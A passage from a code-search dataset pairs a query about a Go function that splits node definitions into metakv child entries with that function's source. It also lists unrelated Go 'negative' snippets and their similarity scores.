err\\n\\t\\t}\\n\\t\\tif seq == nil {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif fieldsByName[f.Name] == nil {\\n\\t\\t\\tfieldsByName[f.Name] = &treeField{name: f.Name}\\n\\t\\t}\\n\\n\\t\\t// non-nested field -- add directly to the treeFields list\\n\\t\\tif f.SubName == \\\"\\\" {\\n\\t\\t\\t// non-nested field -- only 1 element\\n\\t\\t\\tval, err := yaml.String(seq.Content()[0], yaml.Trim, yaml.Flow)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\t\\t\\tfieldsByName[f.Name].value = val\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// nested-field -- create a parent elem, and index by the 'match' value\\n\\t\\tif fieldsByName[f.Name].subFieldByMatch == nil {\\n\\t\\t\\tfieldsByName[f.Name].subFieldByMatch = map[string]treeFields{}\\n\\t\\t}\\n\\t\\tindex := fieldsByName[f.Name].subFieldByMatch\\n\\t\\tfor j := range seq.Content() {\\n\\t\\t\\telem := seq.Content()[j]\\n\\t\\t\\tmatches := f.Matches[elem]\\n\\t\\t\\tstr, err := yaml.String(elem, yaml.Trim, yaml.Flow)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\n\\t\\t\\t// map the field by the name of the element\\n\\t\\t\\t// index the subfields by the matching element so we can put all the fields for the\\n\\t\\t\\t// same element under the same branch\\n\\t\\t\\tmatchKey := strings.Join(matches, \\\"/\\\")\\n\\t\\t\\tindex[matchKey] = append(index[matchKey], &treeField{name: f.SubName, value: str})\\n\\t\\t}\\n\\t}\\n\\n\\t// iterate over collection of all queried fields in the Resource\\n\\tfor _, field := range fieldsByName {\\n\\t\\t// iterate over collection of elements under the field -- indexed by element name\\n\\t\\tfor match, subFields := range field.subFieldByMatch {\\n\\t\\t\\t// create a new element for this collection of fields\\n\\t\\t\\t// note: we will convert name to an index later, but keep the match for sorting\\n\\t\\t\\telem := &treeField{name: match}\\n\\t\\t\\tfield.matchingElementsAndFields = append(field.matchingElementsAndFields, elem)\\n\\n\\t\\t\\t// iterate over collection of queried fields for the element\\n\\t\\t\\tfor i := range subFields {\\n\\t\\t\\t\\t// add to the list of fields for this element\\n\\t\\t\\t\\telem.matchingElementsAndFields = append(elem.matchingElementsAndFields, subFields[i])\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// clear this cached data\\n\\t\\tfield.subFieldByMatch = nil\\n\\t}\\n\\n\\t// put the fields in a list so they are ordered\\n\\tfieldList := treeFields{}\\n\\tfor _, v := range fieldsByName {\\n\\t\\tfieldList = append(fieldList, v)\\n\\t}\\n\\n\\t// sort the fields\\n\\tsort.Sort(fieldList)\\n\\tfor i := range fieldList {\\n\\t\\tfield := fieldList[i]\\n\\t\\t// sort the elements under this field\\n\\t\\tsort.Sort(field.matchingElementsAndFields)\\n\\n\\t\\tfor i := range field.matchingElementsAndFields {\\n\\t\\t\\telement := field.matchingElementsAndFields[i]\\n\\t\\t\\t// sort the elements under a list field by their name\\n\\t\\t\\tsort.Sort(element.matchingElementsAndFields)\\n\\t\\t\\t// set the name of the element to its index\\n\\t\\t\\telement.name = fmt.Sprintf(\\\"%d\\\", i)\\n\\t\\t}\\n\\t}\\n\\n\\treturn fieldList, nil\\n}\",\n \"func MGets(keys []string) map[uint16]Completed {\\n\\treturn slotMCMDs(\\\"MGET\\\", keys, mtGetTag)\\n}\",\n \"func (r *etcdRepository) get(ctx context.Context, key string) (*etcd.GetResponse, error) {\\n\\tresp, err := r.client.Get(ctx, key)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"get value failure for key[%s], error:%s\\\", key, err)\\n\\t}\\n\\treturn resp, nil\\n}\",\n \"func (d *Dot) G(keys ...string) *Dot {\\n\\tc := d\\n\\tfor i := range keys {\\n\\t\\tc.l.Lock() // protect me, and ...\\n\\t\\tdefer c.l.Unlock() // release me, let me go ...\\n\\t\\tc = c.getChild(keys[i])\\n\\t}\\n\\treturn c\\n}\",\n \"func d6getBranches(node *d6nodeT, branch *d6branchT, parVars *d6partitionVarsT) {\\n\\t// Load the branch buffer\\n\\tfor index := 0; index < d6maxNodes; index++ {\\n\\t\\tparVars.branchBuf[index] = node.branch[index]\\n\\t}\\n\\tparVars.branchBuf[d6maxNodes] = *branch\\n\\tparVars.branchCount = d6maxNodes + 1\\n\\n\\t// Calculate rect containing all in the set\\n\\tparVars.coverSplit = parVars.branchBuf[0].rect\\n\\tfor index := 1; index < d6maxNodes+1; index++ {\\n\\t\\tparVars.coverSplit = d6combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\\n\\t}\\n\\tparVars.coverSplitArea = d6calcRectVolume(&parVars.coverSplit)\\n}\",\n \"func d14getBranches(node *d14nodeT, branch *d14branchT, parVars *d14partitionVarsT) {\\n\\t// Load the branch buffer\\n\\tfor index := 0; index < d14maxNodes; index++ {\\n\\t\\tparVars.branchBuf[index] = node.branch[index]\\n\\t}\\n\\tparVars.branchBuf[d14maxNodes] = *branch\\n\\tparVars.branchCount = d14maxNodes + 1\\n\\n\\t// Calculate rect containing all in the set\\n\\tparVars.coverSplit = parVars.branchBuf[0].rect\\n\\tfor index := 1; index < d14maxNodes+1; index++ {\\n\\t\\tparVars.coverSplit = d14combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\\n\\t}\\n\\tparVars.coverSplitArea = d14calcRectVolume(&parVars.coverSplit)\\n}\",\n \"func (h *handler) getExpand(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\\n\\tmaxDepth, err := x.GetMaxDepthFromQuery(r.URL.Query())\\n\\tif err != nil {\\n\\t\\th.d.Writer().WriteError(w, r, herodot.ErrBadRequest.WithError(err.Error()))\\n\\t\\treturn\\n\\t}\\n\\n\\tsubSet := (&ketoapi.SubjectSet{}).FromURLQuery(r.URL.Query())\\n\\tinternal, err := h.d.ReadOnlyMapper().FromSubjectSet(r.Context(), subSet)\\n\\tif err != nil {\\n\\t\\th.d.Writer().WriteError(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tres, err := h.d.ExpandEngine().BuildTree(r.Context(), internal, maxDepth)\\n\\tif err != nil {\\n\\t\\th.d.Writer().WriteError(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\tif res == nil {\\n\\t\\th.d.Writer().Write(w, r, herodot.ErrNotFound.WithError(\\\"no relation tuple found\\\"))\\n\\t\\treturn\\n\\t}\\n\\n\\ttree, err := h.d.ReadOnlyMapper().ToTree(r.Context(), res)\\n\\tif err != nil {\\n\\t\\th.d.Writer().WriteError(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\n\\th.d.Writer().Write(w, r, tree)\\n}\",\n \"func (sc *BaseSmartContract) GetChild(key string) (object.Child, error) {\\n\\tchild, err := sc.ChildStorage.Get(key)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn child.(object.Child), nil\\n}\",\n \"func (g *GCache) GetMulti(keys []string) map[string]any {\\n\\tdata := make(map[string]any, len(keys))\\n\\n\\tfor _, key := range keys {\\n\\t\\tval, err := g.db.Get(key)\\n\\t\\tif err == nil {\\n\\t\\t\\tdata[key] = val\\n\\t\\t} // TODO log error\\n\\t}\\n\\n\\treturn data\\n}\",\n \"func PutAndGetMulti(s *session.Session, rt *RoleType) (RoleTypes, error) {\\n\\trts := make(RoleTypes)\\n\\trtNew := new(RoleType)\\n\\t// USAGE \\\"s.Ctx\\\" INSTEAD OF \\\"ctx\\\" INSIDE THE TRANSACTION IS WRONG !!!!!!!!!!!!!!!!!\\n\\terr := datastore.RunInTransaction(s.Ctx, func(ctx context.Context) (err1 error) {\\n\\t\\trtNew, err1 = Put(s.Ctx, rt)\\n\\t\\tif err1 != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\trts, err1 = GetMulti(s.Ctx, nil)\\n\\t\\treturn\\n\\t}, nil)\\n\\trts[rtNew.ID] = rtNew\\n\\treturn rts, err\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.55799687","0.5377851","0.53763705","0.5294848","0.5266243","0.52628016","0.52261454","0.5222144","0.51936895","0.5187594","0.5167908","0.51578975","0.5086406","0.50811934","0.50706285","0.50636095","0.50496906","0.503869","0.5033392","0.49442112","0.49380907","0.49362493","0.4914645","0.48630035","0.48615086","0.48468432","0.48323584","0.4783183","0.47610343","0.4757943","0.47550386","0.47548142","0.47510028","0.47417432","0.4733958","0.47246164","0.47143945","0.47012052","0.46863696","0.46793032","0.46718073","0.46689034","0.4665436","0.46581286","0.4648201","0.46469238","0.46466875","0.46446255","0.46446255","0.46429998","0.46349117","0.4630967","0.46307227","0.46281844","0.46207878","0.46201873","0.46167555","0.46165228","0.46093205","0.45964977","0.45954752","0.45950234","0.45916235","0.45862153","0.45858535","0.45823118","0.45795497","0.4575889","0.45540914","0.4554006","0.45433068","0.454122","0.45404857","0.45400727","0.45304778","0.45289782","0.45206264","0.45194897","0.4504416","0.45032212","0.4501874","0.45010844","0.44960544","0.44905242","0.4486201","0.44817194","0.44809088","0.44795635","0.4477438","0.4475479","0.44751233","0.44662264","0.4464723","0.44561422","0.445287","0.4449575","0.44475922","0.44474956","0.4445759","0.44457522"],"string":"[\n \"0.55799687\",\n \"0.5377851\",\n \"0.53763705\",\n \"0.5294848\",\n \"0.5266243\",\n \"0.52628016\",\n \"0.52261454\",\n \"0.5222144\",\n \"0.51936895\",\n \"0.5187594\",\n \"0.5167908\",\n \"0.51578975\",\n \"0.5086406\",\n \"0.50811934\",\n \"0.50706285\",\n \"0.50636095\",\n \"0.50496906\",\n \"0.503869\",\n \"0.5033392\",\n \"0.49442112\",\n \"0.49380907\",\n \"0.49362493\",\n \"0.4914645\",\n \"0.48630035\",\n \"0.48615086\",\n \"0.48468432\",\n \"0.48323584\",\n \"0.4783183\",\n \"0.47610343\",\n \"0.4757943\",\n \"0.47550386\",\n \"0.47548142\",\n \"0.47510028\",\n \"0.47417432\",\n \"0.4733958\",\n \"0.47246164\",\n \"0.47143945\",\n \"0.47012052\",\n \"0.46863696\",\n \"0.46793032\",\n \"0.46718073\",\n \"0.46689034\",\n \"0.4665436\",\n \"0.46581286\",\n \"0.4648201\",\n \"0.46469238\",\n \"0.46466875\",\n \"0.46446255\",\n \"0.46446255\",\n \"0.46429998\",\n \"0.46349117\",\n \"0.4630967\",\n \"0.46307227\",\n \"0.46281844\",\n \"0.46207878\",\n \"0.46201873\",\n \"0.46167555\",\n \"0.46165228\",\n \"0.46093205\",\n \"0.45964977\",\n \"0.45954752\",\n \"0.45950234\",\n \"0.45916235\",\n \"0.45862153\",\n \"0.45858535\",\n \"0.45823118\",\n \"0.45795497\",\n \"0.4575889\",\n \"0.45540914\",\n \"0.4554006\",\n \"0.45433068\",\n \"0.454122\",\n \"0.45404857\",\n \"0.45400727\",\n \"0.45304778\",\n \"0.45289782\",\n \"0.45206264\",\n \"0.45194897\",\n \"0.4504416\",\n \"0.45032212\",\n \"0.4501874\",\n \"0.45010844\",\n \"0.44960544\",\n \"0.44905242\",\n \"0.4486201\",\n \"0.44817194\",\n \"0.44809088\",\n \"0.44795635\",\n \"0.4477438\",\n \"0.4475479\",\n \"0.44751233\",\n \"0.44662264\",\n \"0.4464723\",\n \"0.44561422\",\n \"0.445287\",\n \"0.4449575\",\n \"0.44475922\",\n \"0.44474956\",\n \"0.4445759\",\n \"0.44457522\"\n]"},"document_score":{"kind":"string","value":"0.66057813"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106142,"cells":{"query":{"kind":"string","value":"set() splits a nodeDefs into multiple child metakv entries and must be invoked with c.m.Lock()'ed."},"document":{"kind":"string","value":"func (a *cfgMetaKvNodeDefsSplitHandler) set(\n\tc *CfgMetaKv, key string, val []byte, cas uint64) (uint64, error) {\n\tpath := c.keyToPath(key)\n\n\tcurEntry := c.splitEntries[key]\n\n\tif cas != math.MaxUint64 && cas != 0 && cas != curEntry.cas {\n\t\tlog.Warnf(\"cfg_metakv: Set split, key: %v, cas mismatch: %x != %x\",\n\t\t\tkey, cas, curEntry.cas)\n\n\t\treturn 0, &CfgCASError{}\n\t}\n\n\tvar curNodeDefs NodeDefs\n\n\tif curEntry.data != nil && len(curEntry.data) > 0 {\n\t\terr := json.Unmarshal(curEntry.data, &curNodeDefs)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvar nd NodeDefs\n\n\terr := json.Unmarshal(val, &nd)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\t// Analyze which children were added, removed, updated.\n\t//\n\tadded := map[string]bool{}\n\tremoved := map[string]bool{}\n\tupdated := map[string]bool{}\n\n\tfor k, v := range nd.NodeDefs {\n\t\tif curNodeDefs.NodeDefs == nil ||\n\t\t\tcurNodeDefs.NodeDefs[k] == nil {\n\t\t\tadded[k] = true\n\t\t} else {\n\t\t\tif !reflect.DeepEqual(curNodeDefs.NodeDefs[k], v) {\n\t\t\t\tupdated[k] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tif curNodeDefs.NodeDefs != nil {\n\t\tfor k := range curNodeDefs.NodeDefs {\n\t\t\tif nd.NodeDefs[k] == nil {\n\t\t\t\tremoved[k] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Printf(\"cfg_metakv: Set split, key: %v,\"+\n\t\t\" added: %v, removed: %v, updated: %v\",\n\t\tkey, added, removed, updated)\n\nLOOP:\n\tfor k, v := range nd.NodeDefs {\n\t\tif cas != math.MaxUint64 && c.nodeUUID != \"\" && c.nodeUUID != v.UUID {\n\t\t\t// If we have a nodeUUID, only add/update our\n\t\t\t// nodeDef, where other nodes will each add/update\n\t\t\t// only their own nodeDef's.\n\t\t\tlog.Printf(\"cfg_metakv: Set split, key: %v,\"+\n\t\t\t\t\" skipping other node UUID: %v, self nodeUUID: %s\",\n\t\t\t\tkey, v.UUID, c.nodeUUID)\n\n\t\t\tcontinue LOOP\n\t\t}\n\n\t\tchildNodeDefs := NodeDefs{\n\t\t\tUUID: nd.UUID,\n\t\t\tNodeDefs: map[string]*NodeDef{},\n\t\t\tImplVersion: nd.ImplVersion,\n\t\t}\n\t\tchildNodeDefs.NodeDefs[k] = v\n\n\t\tval, err = json.Marshal(childNodeDefs)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tchildPath := path + \"/\" + k\n\n\t\tlog.Printf(\"cfg_metakv: Set split, key: %v, childPath: %v\",\n\t\t\tkey, childPath)\n\n\t\terr = metakv.Set(childPath, val, nil)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif cas != math.MaxUint64 {\n\t\t\tbreak LOOP\n\t\t}\n\t}\n\n\t// Remove composite children entries from metakv only if\n\t// caller was attempting removals only. This should work as\n\t// the caller usually has read-compute-write logic that only\n\t// removes node defs and does not add/update node defs in the\n\t// same read-compute-write code path.\n\t//\n\tif len(added) <= 0 && len(updated) <= 0 && len(removed) > 0 {\n\t\tfor nodeDefUUID := range removed {\n\t\t\tchildPath := path + \"/\" + nodeDefUUID\n\n\t\t\tlog.Printf(\"cfg_metakv: Set delete, childPath: %v\", childPath)\n\n\t\t\terr = metakv.Delete(childPath, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\t}\n\n\tcasResult := c.lastSplitCAS + 1\n\tc.lastSplitCAS = casResult\n\treturn casResult, err\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (n *Nodes) Set(s []*Node)","func setNodeArgs(n *spec.Node, argsTo, argsFrom map[string]interface{}) error {\n\tif len(n.Sets) == 0 {\n\t\treturn nil\n\t}\n\tfor _, key := range n.Sets {\n\t\tvar ok bool\n\t\tvar val interface{}\n\t\tval, ok = argsFrom[*key.Arg]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"expected %s to set %s in jobargs\", *n.NodeType, *key.Arg)\n\t\t}\n\t\targsTo[*key.As] = val\n\t}\n\n\treturn nil\n}","func (m *DeviceManagementConfigurationSettingGroupDefinition) SetChildIds(value []string)() {\n err := m.GetBackingStore().Set(\"childIds\", value)\n if err != nil {\n panic(err)\n }\n}","func (m *Set) SetChildren(value []Termable)() {\n err := m.GetBackingStore().Set(\"children\", value)\n if err != nil {\n panic(err)\n }\n}","func (c *Dg) Set(e ...Entry) error {\n var err error\n\n if len(e) == 0 {\n return nil\n }\n\n _, fn := c.versioning()\n names := make([]string, len(e))\n\n // Build up the struct with the given configs.\n d := util.BulkElement{XMLName: xml.Name{Local: \"device-group\"}}\n for i := range e {\n d.Data = append(d.Data, fn(e[i]))\n names[i] = e[i].Name\n }\n c.con.LogAction(\"(set) device groups: %v\", names)\n\n // Set xpath.\n path := c.xpath(names)\n if len(e) == 1 {\n path = path[:len(path) - 1]\n } else {\n path = path[:len(path) - 2]\n }\n\n // Create the device groups.\n _, err = c.con.Set(path, d.Config(), nil, nil)\n return err\n}","func (e *EvaluateJobArgsBuilder) setNodeSelectors() error {\n\te.args.NodeSelectors = map[string]string{}\n\targKey := \"selector\"\n\tvar nodeSelectors *[]string\n\tvalue, ok := e.argValues[argKey]\n\tif !ok {\n\t\treturn nil\n\t}\n\tnodeSelectors = value.(*[]string)\n\tlog.Debugf(\"node selectors: %v\", *nodeSelectors)\n\te.args.NodeSelectors = transformSliceToMap(*nodeSelectors, \"=\")\n\treturn nil\n}","func SetNodes(ns []string) {\n\tnodes = ns\n}","func (node *Node) Set(key uint32, value Value) (into *Node) {\n\tinto = node.NewRoot(key)\n\tnode = into\n\n\tfor node.Shift > 0 {\n\t\tnode = node.CopySubKey((key >> node.Shift) & MASK)\n\t}\n\n\tnode.Elements[(key & MASK)] = value\n\n\treturn\n}","func (m Object) Set(k string, v Node) Object {\n\tm[k] = v\n\treturn m\n}","func (m *SplitNode_Children) SetRef(index int, nodeRef int64) {\n\tif index < 0 {\n\t\treturn\n\t}\n\n\tif m.Dense != nil {\n\t\tm.setDense(index, nodeRef)\n\t\treturn\n\t}\n\n\tif n := int64(index + 1); n > m.SparseCap {\n\t\tm.SparseCap = n\n\t}\n\tif m.Sparse == nil {\n\t\tm.Sparse = make(map[int64]int64, 1)\n\t}\n\tm.Sparse[int64(index)] = nodeRef\n\tif sparsedense.BetterOffDense(len(m.Sparse), int(m.SparseCap)) {\n\t\tm.convertToDense()\n\t}\n}","func (s *store) setMetaNode(addr, raftAddr string) error {\n\tval := &internal.SetMetaNodeCommand{\n\t\tHTTPAddr: proto.String(addr),\n\t\tTCPAddr: proto.String(raftAddr),\n\t\tRand: proto.Uint64(uint64(rand.Int63())),\n\t}\n\tt := internal.Command_SetMetaNodeCommand\n\tcmd := &internal.Command{Type: &t}\n\tif err := proto.SetExtension(cmd, internal.E_SetMetaNodeCommand_Command, val); err != nil {\n\t\tpanic(err)\n\t}\n\n\tb, err := proto.Marshal(cmd)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.logger.Info(\"set meta node apply begin\")\n\treturn s.apply(b)\n}","func (sv *SupernodesValue) Set(value string) error {\n\tnodes := strings.Split(value, \",\")\n\tfor _, n := range nodes {\n\t\tv := strings.Split(n, \"=\")\n\t\tif len(v) == 0 || len(v) > 2 {\n\t\t\treturn errors.New(\"invalid nodes\")\n\t\t}\n\t\t// ignore weight\n\t\tnode := v[0]\n\t\tvv := strings.Split(node, \":\")\n\t\tif len(vv) >= 2 {\n\t\t\treturn errors.New(\"invalid nodes\")\n\t\t}\n\t\tif len(vv) == 1 {\n\t\t\tnode = fmt.Sprintf(\"%s:%d\", node, DefaultSchedulerPort)\n\t\t}\n\t\tsv.Nodes = append(sv.Nodes, node)\n\t}\n\treturn nil\n}","func set(s kvs.Store) {\n\tc := context.Background()\n\tdb := &Data{}\n\n\t// Creating the first node object\n\tn := Node{\n\t\tID: \"100\",\n\t\tName: \"foobar\",\n\t\tDescription: \"This is a nice node\",\n\t}\n\tstore.Set(s, c, db, \"/db/stored/here/\", n, \"Nodes\", \"100\")\n\n\t// Creating the second node object\n\tn = Node{\n\t\tID: \"101\",\n\t\tName: \"barfoo\",\n\t\tDescription: \"This is another nice node\",\n\t}\n\tstore.Set(s, c, db, \"/db/stored/here/\", n, \"Nodes\", \"101\")\n\n\t// Creating an edge\n\tstore.Set(s, c, db, \"/db/stored/here/\", Edge{\n\t\tNodeID1: \"100\",\n\t\tNodeID2: \"101\",\n\t}, \"Edges\", \"10\")\n\n\t// Setting the QuitDemo boolean\n\tstore.Set(s, c, db, \"/db/stored/here/\", true, \"QuitDemo\")\n}","func (m *DeviceManagementConfigurationSetting) SetSettingDefinitions(value []DeviceManagementConfigurationSettingDefinitionable)() {\n err := m.GetBackingStore().Set(\"settingDefinitions\", value)\n if err != nil {\n panic(err)\n }\n}","func (n *Nodes) Set(node string) error {\n\t*n = append(*n, node)\n\treturn nil\n}","func SetChildren(index, firstchild, lastchild int) {\n\tC.hepevt_set_children(\n\t\tC.int(index+1),\n\t\tC.int(firstchild),\n\t\tC.int(lastchild))\n}","func (t *Trie) SetValue(key string, value any) {\n\tcur := t.root\n\tfor _, r := range key {\n\t\tnext, ok := cur.children[r]\n\t\tif !ok {\n\t\t\tnext = &node{children: make(map[rune]*node)}\n\t\t\tcur.children[r] = next\n\t\t}\n\t\tcur = next\n\t}\n\n\tif cur.value != nil {\n\t\tt.size--\n\t}\n\tif value != nil {\n\t\tt.size++\n\t}\n\tcur.value = value\n}","func (s *Server) set(ctx context.Context, req *gnmipb.SetRequest) (*gnmipb.SetResponse, error) {\n\tvar err error\n\tprefix := req.GetPrefix()\n\tresult := make([]*gnmipb.UpdateResult, 0,\n\t\tlen(req.GetDelete())+len(req.GetReplace())+len(req.GetUpdate())+1)\n\n\t// Lock updates of the data node\n\ts.Lock()\n\tdefer s.Unlock()\n\n\terr = s.setStart(false)\n\tfor _, path := range req.GetDelete() {\n\t\tif err != nil {\n\t\t\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_DELETE, path))\n\t\t\tcontinue\n\t\t}\n\t\terr = s.setDelete(prefix, path)\n\t\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_DELETE, path, err))\n\t}\n\tfor _, r := range req.GetReplace() {\n\t\tpath := r.GetPath()\n\t\tif err != nil {\n\t\t\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_REPLACE, path))\n\t\t\tcontinue\n\t\t}\n\t\terr = s.setReplace(prefix, path, r.GetVal())\n\t\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_REPLACE, path, err))\n\t}\n\tfor _, u := range req.GetUpdate() {\n\t\tpath := u.GetPath()\n\t\tif err != nil {\n\t\t\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_UPDATE, path))\n\t\t\tcontinue\n\t\t}\n\t\terr = s.setUpdate(prefix, path, u.GetVal())\n\t\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_UPDATE, path, err))\n\t}\n\terr = s.setEnd(err)\n\tif err != nil {\n\t\ts.setStart(true)\n\t\ts.setRollback()\n\t\ts.setEnd(nil)\n\t}\n\ts.setDone(err)\n\tresp := &gnmipb.SetResponse{\n\t\tPrefix: prefix,\n\t\tResponse: result,\n\t}\n\treturn resp, err\n}","func (r *Root) BatchSet(ctx context.Context, vals []cbg.CBORMarshaler) error {\n\t// TODO: there are more optimized ways of doing this method\n\tfor i, v := range vals {\n\t\tif err := r.Set(ctx, uint64(i), v); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (f *Flow) setUUIDs(key, l2Key, l3Key uint64) {\n\tf.TrackingID = strconv.FormatUint(l2Key, 16)\n\tf.L3TrackingID = strconv.FormatUint(l3Key, 16)\n\n\tvalue64 := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(value64, uint64(f.Start))\n\n\thasher := xxHash64.New(key)\n\thasher.Write(value64)\n\thasher.Write([]byte(f.NodeTID))\n\n\tf.UUID = strconv.FormatUint(hasher.Sum64(), 16)\n}","func (m *AccessReviewSet) SetDefinitions(value []AccessReviewScheduleDefinitionable)() {\n m.definitions = value\n}","func (a *cfgMetaKvNodeDefsSplitHandler) get(\n\tc *CfgMetaKv, key string, cas uint64) ([]byte, uint64, error) {\n\tm, err := metakv.ListAllChildren(c.keyToPath(key) + \"/\")\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\trv := &NodeDefs{NodeDefs: make(map[string]*NodeDef)}\n\n\tuuids := []string{}\n\tfor _, v := range m {\n\t\tvar childNodeDefs NodeDefs\n\n\t\terr = json.Unmarshal(v.Value, &childNodeDefs)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\tfor k1, v1 := range childNodeDefs.NodeDefs {\n\t\t\trv.NodeDefs[k1] = v1\n\t\t}\n\n\t\t// use the lowest version among nodeDefs\n\t\tif rv.ImplVersion == \"\" ||\n\t\t\t!VersionGTE(childNodeDefs.ImplVersion, rv.ImplVersion) {\n\t\t\trv.ImplVersion = childNodeDefs.ImplVersion\n\t\t}\n\n\t\tuuids = append(uuids, childNodeDefs.UUID)\n\t}\n\trv.UUID = checkSumUUIDs(uuids)\n\n\tif rv.ImplVersion == \"\" {\n\t\tversion := VERSION\n\t\tv, _, err := c.getRawLOCKED(VERSION_KEY, 0)\n\t\tif err == nil {\n\t\t\tversion = string(v)\n\t\t}\n\t\trv.ImplVersion = version\n\t}\n\n\tdata, err := json.Marshal(rv)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tcasResult := c.lastSplitCAS + 1\n\tc.lastSplitCAS = casResult\n\n\tc.splitEntries[key] = CfgMetaKvEntry{\n\t\tcas: casResult,\n\t\tdata: data,\n\t}\n\n\treturn data, casResult, nil\n}","func (api *NodeApi) bulkPut(w http.ResponseWriter, req *http.Request) {\n\tvars := mux.Vars(req)\n\tplog.Debug(fmt.Sprintf(\"Receive %s request %s %v from %s.\", req.Method, req.URL.Path, vars, req.RemoteAddr))\n\tvar err error\n\tvar resp []byte\n\tif _, ok := req.URL.Query()[\"state\"]; !ok {\n\t\tplog.HandleHttp(w, req, http.StatusBadRequest, \"Could not get state parameter\")\n\t\treturn\n\t}\n\tstate := req.URL.Query()[\"state\"][0]\n\tvar storNodes map[string][]storage.Node\n\tbody, err := ioutil.ReadAll(req.Body)\n\tif err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\tif err := req.Body.Close(); err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\tif err := json.Unmarshal(body, &storNodes); err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusUnprocessableEntity, err.Error())\n\t\treturn\n\t}\n\tnodes := make([]string, 0, len(storNodes[\"nodes\"]))\n\tfor _, v := range storNodes[\"nodes\"] {\n\t\tnodes = append(nodes, v.Name)\n\t}\n\tresult := nodeManager.SetConsoleState(nodes, state)\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tif resp, err = json.Marshal(result); err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusAccepted)\n\tfmt.Fprintf(w, \"%s\\n\", resp)\n}","func Set(x interface{}, args ...interface{}) Node {\n\treturn Node{&ast.Set{\n\t\tStartOp: \"{\",\n\t\tEndOp: \"}\",\n\t\tX: ToNode(x).Node,\n\t\tY: ArgsList(args...).Node,\n\t}}\n}","func SetDirectives(node ast.Node, directives []*ast.Directive) bool {\n\tswitch one := node.(type) {\n\tcase *ast.ScalarDefinition:\n\t\tone.Directives = directives\n\tcase *ast.FieldDefinition:\n\t\tone.Directives = directives\n\tcase *ast.EnumDefinition:\n\t\tone.Directives = directives\n\tcase *ast.EnumValueDefinition:\n\t\tone.Directives = directives\n\tcase *ast.ObjectDefinition:\n\t\tone.Directives = directives\n\tcase *ast.TypeExtensionDefinition:\n\t\tone.Definition.Directives = directives\n\tcase *ast.InterfaceDefinition:\n\t\tone.Directives = directives\n\tcase *ast.InputObjectDefinition:\n\t\tone.Directives = directives\n\tcase *ast.InputValueDefinition:\n\t\tone.Directives = directives\n\tdefault:\n\t\treturn false\n\t}\n\n\treturn true\n}","func (g *NodeGroup) SetNodes(new ...Node) (old []Node) {\n\treturn\n}","func (c *Variable) Set(tmpl, ts string, e ...Entry) error {\n var err error\n\n if len(e) == 0 {\n return nil\n } else if tmpl == \"\" && ts == \"\" {\n return fmt.Errorf(\"tmpl or ts must be specified\")\n }\n\n _, fn := c.versioning()\n names := make([]string, len(e))\n\n // Build up the struct with the given configs.\n d := util.BulkElement{XMLName: xml.Name{Local: \"variable\"}}\n for i := range e {\n d.Data = append(d.Data, fn(e[i]))\n names[i] = e[i].Name\n }\n c.con.LogAction(\"(set) template variables: %v\", names)\n\n // Set xpath.\n path := c.xpath(tmpl, ts, names)\n if len(e) == 1 {\n path = path[:len(path) - 1]\n } else {\n path = path[:len(path) - 2]\n }\n\n // Create the template variables.\n _, err = c.con.Set(path, d.Config(), nil, nil)\n return err\n}","func (n *node) setValues(values *Values) bool {\n\tif values.IsEmpty() {\n\t\tif n.isEmpty() {\n\t\t\treturn false\n\t\t}\n\t\tn.value = nil\n\t\tn.children = nil\n\t\treturn true\n\t}\n\tchanged := false\n\tvalues.EachKeyValue(func(key Key, value interface{}) {\n\t\tchanged = n.put(key, value) || changed\n\t})\n\treturn changed\n}","func (n *Node) 